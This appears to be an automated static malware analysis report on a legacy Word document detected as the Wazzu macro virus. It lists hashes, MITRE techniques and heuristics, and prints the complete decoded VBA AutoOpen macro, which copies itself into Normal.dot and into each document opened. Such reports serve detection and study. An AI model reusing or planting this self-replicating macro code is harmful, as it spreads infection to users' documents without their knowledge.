Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a5919caf6e5b5913…

MALICIOUS

Office (OLE)

28.5 KB Created: 1998-01-01 00:54:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 63937070e70da885339187dae2b913bd SHA-1: c816a952217d33e4c49829aa5c7b74006af54a4e SHA-256: a5919caf6e5b5913565b7f43f69db04aa53b51011dcf6bfb97d454ab891dd7c6
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a malicious Word document containing a VBA macro named 'autoOpen'. This macro attempts to copy itself to the Normal.dot template if certain conditions are met, suggesting an attempt to establish persistence. The ClamAV detection and heuristic firings strongly indicate malicious intent.

Heuristics 4

  • ClamAV: Doc.Trojan.Wazzu-47 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Wazzu-47
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1219 bytes
SHA-256: 2c06fa7ab88ae6ead9715b4664677a1c085692e5ca394cf595f2c0e81fff9408
Detection
ClamAV: Doc.Trojan.Wazzu-14
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "autoOpen"

Public Sub MAIN()
Dim TheSmallOne$
Dim TheBigOne$
Dim ThisOne$
Dim SmallFileAtt
    
    TheSmallOne$ = WordBasic.[FileName$]() + ":autoOpen"

    TheBigOne$ = "Global:autoOpen"
    ThisOne$ = UCase(WordBasic.[Right$](WordBasic.[MacroFileName$](WordBasic.[MacroName$](0)), 10))

    If ThisOne$ = "NORMAL.DOT" Then
        SmallFileAtt = GetAttr(WordBasic.[FileName$]())
        If SmallFileAtt >= 32 Then SmallFileAtt = SmallFileAtt - 32
        If SmallFileAtt >= 4 Then SmallFileAtt = SmallFileAtt - 4
        If SmallFileAtt >= 2 Then SmallFileAtt = SmallFileAtt - 2
        If SmallFileAtt = 0 Then
        
            WordBasic.MacroCopy TheBigOne$, TheSmallOne$
            WordBasic.FileSaveAs Format:=1
            WordBasic.SetDocumentDirty 0
        End If
    Else
        WordBasic.MacroCopy TheSmallOne$, TheBigOne$
    End If
    
End Sub

Attribute VB_Name = "NewMacros"

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